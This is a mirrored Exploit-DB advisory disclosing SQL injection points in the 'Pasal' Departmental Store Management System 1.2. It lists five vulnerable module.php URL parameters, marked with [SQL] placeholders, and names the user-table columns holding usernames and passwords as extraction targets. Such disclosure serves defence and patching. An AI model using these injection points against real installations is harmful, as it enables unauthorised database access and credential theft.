Departmental Store Management System 1.2 – SQL Injection

• Exploit Database
• 18 阅读

• 作者： Ihsan Sencan
  日期： 2017-03-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41627/

• # # # # #
  # Exploit Title: Pasal - Departmental Store Management System v1.2 - SQL Injection
  # Google Dork: N/A
  # Date: 17.03.2017
  # Vendor Homepage: http://webstarslab.com
  # Software : http://webstarslab.com/products/pasal-departmental-store-management-system/
  # Demo: http://webstarslab.com/departmental-store-management-system/store/
  # Version: 1.2
  # Tested on: Win7 x64, Kali Linux x64
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Mail : ihsan[@]ihsan[.]net
  # # # # #
  # SQL Injection/Exploit :
  # Login as regular user
  # http://localhost/[PATH]/module.php?module=vendors&page=edit-vendors&id=[SQL]
  # http://localhost/[PATH]/module.php?module=units&page=edit-units&id=[SQL]
  # http://localhost/[PATH]/module.php?module=currency&page=edit-currency&id=[SQL]
  # http://localhost/[PATH]/module.php?module=category&page=edit-category&id=[SQL]
  # http://localhost/[PATH]/module.php?module=purchase&y=[SQL]&m=[SQL]
  # tbl_users:id
  # tbl_users:username
  # tbl_users:password
  # tbl_users:email
  # tbl_users:full_name
  # tbl_users:permission
  # Etc..
  # # # # #